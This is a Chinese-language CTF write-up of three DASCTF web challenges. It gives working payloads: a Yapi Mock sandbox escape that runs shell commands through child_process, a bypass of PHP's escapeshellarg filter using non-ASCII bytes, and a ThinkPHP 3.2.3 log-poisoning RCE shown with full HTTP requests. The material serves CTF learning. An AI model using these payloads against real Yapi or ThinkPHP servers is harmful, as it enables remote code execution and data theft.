【Yapi Mock RCE & escapeshellarg & ThinkPHP V3.2.3 RCE漏洞】DASCTF 7月赛后复盘

本文最后更新于:2021年8月18日下午1点40分

Web

ezrce

Yapi Mock RCE 漏洞复现分析

参考文章: Yapi Mock RCE 漏洞复现分析_灰蜗牛-CSDN博客

操作步骤:

  1. 在首页下方找到登录/注册功能接口,或直接访问 /login 路径进行登录和注册。

  2. 登录之后进入个人空间,在右侧点击添加项目;

  3. 添加成功后进入项目,点击右侧同一位置有个“添加接口”

  4. 添加完之后,打开接口,进入“高级Mock”功能,点击脚本,输入Poc,点击保存即可。

  5. 点击“预览”,访问Mock地址,即可触发漏洞POC。

image-20210803135940467

POC如下:

1
2
const process = this.constructor.constructor('return process')()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

image-20210803135955785

可以直接RCE

1
2
const process = this.constructor.constructor('return process')()
mockJson = process.mainModule.require("child_process").execSync("cat /ffffffflllllaggggg").toString()

image-20210803140033593

cat flag

hint:管理员曾访问过flag

image-20210803140250227

打开题目,是一道代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>

对于escapeshellarg函数,PHP官方手册是这么介绍的:

image-20210803140525200

本质上,这个函数就是防止用户输入多个参数导致的安全漏洞。

但是在PHP官方手册中,有这么一个介绍:

image-20210803140757136

当escapeshellarg函数遇到非ASCII码字符时,会将其直接过滤掉。

正是因为这个特性,这题可以通过使用非ASCII码字符,绕过flag正则。

首先,题目提示管理员曾访问过flag,这个时候就可以想到nginx的日志文件。

传参读取nginx日志(/var/log/nginx/access.log):

1
http://266193c9-ab4a-4625-9410-822dfb7b7f2b.node4.buuoj.cn/?cmd=/var/log/nginx/access.log

image-20210803141105523

可以看到这么一个文件:this_is_final_flag_e2a457126032b42d.php

想要绕过flag正则,直接使用非ASCII码字符即可,对URL传参this_is_final_fl%ffag_e2a457126032b42d.php

中间的%ff可以替换成%80到%ff中的任意字符。(ASCII码的范围是%00-%7F)

1
view-source:http://266193c9-ab4a-4625-9410-822dfb7b7f2b.node4.buuoj.cn/?cmd=this_is_final_fl%ffag_e2a457126032b42d.php

image-20210803141231289

easythinkphp

打开题目,是一道ThinkPHP的题目:

image-20210803141644990

ThinkPHP版本:V3.2.3

漏洞参考文章:

构造攻击请求:

对于debug模式开启:(本题是debug模式开启的状态,因此使用下方这个payload

1
http://01235515-a801-4362-b52d-d6903f8487de.node4.buuoj.cn/?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

对于debug模式关闭:

1
http://01235515-a801-4362-b52d-d6903f8487de.node4.buuoj.cn/?m=--><?=phpinfo();?>
1
2
3
4
5
6
7
8
GET /?m=--><?=phpinfo();?> HTTP/1.1
Host: 01235515-a801-4362-b52d-d6903f8487de.node4.buuoj.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

访问日志:

日志文件的日期记得修改!

1
http://01235515-a801-4362-b52d-d6903f8487de.node4.buuoj.cn/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_03.log

image-20210803143302570

可以看到,成功执行phpinfo了。

1
2
3
4
5
6
7
8
9
10
GET /?m=--><?=file_get_contents("/flag");?> HTTP/1.1
Host: 0506d1a4-9c02-483f-963e-ef309b6e4e9c.node4.buuoj.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=j94s2fn7f15sj28l0tfm4o1me6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

然后访问

1
http://0506d1a4-9c02-483f-963e-ef309b6e4e9c.node4.buuoj.cn/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_08_03.log

image-20210803150000101

得到flag:flag{d355bb61-2561-47de-9cd8-3692ba922475}

其余题目(再说……